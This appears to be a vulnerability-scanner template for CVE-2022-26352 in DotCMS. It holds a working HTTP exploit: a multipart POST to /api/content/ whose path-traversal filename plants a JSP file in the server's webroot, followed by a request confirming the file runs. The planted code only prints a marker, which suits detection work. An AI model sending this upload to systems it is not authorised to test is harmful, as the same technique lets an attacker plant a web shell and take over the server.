57 lines
2.2 KiB
YAML
57 lines
2.2 KiB
YAML
id: CVE-2022-26352
|
|
|
|
info:
|
|
name: DotCMS - Arbitrary File Upload
|
|
author: h1ei1
|
|
severity: critical
|
|
description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.
|
|
impact: |
|
|
Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
|
|
reference:
|
|
- https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/
|
|
- https://github.com/h1ei1/POC/tree/main/CVE-2022-26352
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352
|
|
- http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html
|
|
- https://groups.google.com/g/dotcms
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-26352
|
|
cwe-id: CWE-22
|
|
epss-score: 0.97526
|
|
epss-percentile: 0.99991
|
|
cpe: cpe:2.3:a:dotcms:dotcms:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: dotcms
|
|
product: dotcms
|
|
tags: packetstorm,cve,cve2022,rce,dotcms,kev,fileupload,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /api/content/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3
|
|
|
|
--------------------------aadc326f7ae3eac3
|
|
Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp"
|
|
Content-Type: text/plain
|
|
|
|
<%
|
|
out.println("CVE-2022-26352");
|
|
%>
|
|
--------------------------aadc326f7ae3eac3--
|
|
- |
|
|
GET /{{randstr}}.jsp HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_2, "CVE-2022-26352")'
|
|
- 'status_code_2 == 200'
|
|
condition: and
|
|
# digest: 490a00463044022078f3d112644b4ea591b5919bb1a664a48dc91d209beb2fbb3f5eb009d6b6eb24022043e100509e39404e8777c3a93594f4dee9b932068eab4187bf922b205d59e2ff:922c64590222798bb761d5b6d8e72950 |